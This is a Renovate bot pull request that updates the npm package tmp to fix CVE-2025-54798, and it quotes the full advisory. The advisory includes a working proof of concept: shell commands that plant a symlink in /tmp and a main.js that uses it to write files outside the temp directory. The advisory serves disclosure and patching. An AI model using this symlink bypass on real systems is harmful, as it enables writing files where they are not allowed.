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fix(dependencies): update dependency tmp to ^0.2.0 [security] #57

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@renovate renovate bot commented Aug 6, 2025 •
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This PR contains the following updates:

Package Change Age Confidence
tmp ^0.0.33 -> ^0.2.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-54798

Summary

[email protected] is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i [email protected]

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Release Notes

raszi/node-tmp (tmp)

v0.2.4

Compare Source

v0.2.3

Compare Source

v0.2.2

Compare Source

🐛 Bug Fix
📝 Documentation
Committers: 5

v0.2.1

Compare Source

🚀 Enhancement
🏠 Internal
Committers: 1

v0.2.0

Compare Source

🚀 Enhancement
🐛 Bug Fix
📝 Documentation
🏠 Internal
Committers: 2

v0.1.0

Compare Source

🚀 Enhancement
🐛 Bug Fix
📝 Documentation
🏠 Internal
Committers: 6

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-tmp-vulnerability branch from d764861 to df38542 Compare August 10, 2025 14:28
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